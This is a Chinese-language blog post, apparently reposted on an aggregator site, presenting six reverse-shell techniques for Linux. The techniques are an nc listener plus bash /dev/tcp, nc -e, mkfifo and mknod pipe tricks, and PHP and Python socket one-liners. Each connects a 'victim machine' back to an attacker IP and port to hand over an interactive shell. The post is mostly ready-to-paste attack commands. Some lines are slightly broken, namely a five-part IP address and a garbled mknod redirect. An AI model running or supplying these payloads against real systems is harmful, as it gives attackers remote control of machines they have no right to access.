linux反弹shell的几种方法

发布时间:2023-07-08 11:00

攻击机上执行 nc -lvp 2333
说明:

  • -l 使用监听模式,管控传入的资料。
  • 显示指令执行过程。
  • <通信端口> 设置本地主机使用的通信端口。(2333即为自己设置的通信端口)

第一种方法:

使用bash命令(bash命令行是计算机操作的一种方式)
攻击机上输入 nc -lvp 2333
受害机上输入 bash -i >& /dev/tcp/192.168.102.130/2333 0>&1

-i 是指产生交互式的shell

/dev/tcp|udp/ip/port 这个文件是特别特殊的,实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的.
但是如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket通信

在这里插入图片描述
即可在攻击机上对受害机进行操作。
linux反弹shell的几种方法_第1张图片
第二种方法

nc要安装正确的版本(存在-e即可反弹shell)

nc -e /bin/sh 192.168.146.102.130 2333

第三种方法

这种方法是基于nc没有存在-e

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.102.130 2333 >/tmp/f

mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路

linux反弹shell的几种方法_第2张图片
第四种方法

这中方法类似于第三种方法。

mknod backpipe p; nc 192.168.102.130 2333 0backpipe 2>backpipe

mknod命令用于创建Linux中的字符设备文件和块设备文件。
linux反弹shell的几种方法_第3张图片

第五种方法

php

php -r '$sock=fsockopen("192.168.102.130",2333);exec("/bin/sh -i <&3 >&3 2>&3");'

第六种方法

python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.102.130",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

ItVuer - 免责声明 - 关于我们 - 联系我们

本网站信息来源于互联网,如有侵权请联系:561261067@qq.com

桂ICP备16001015号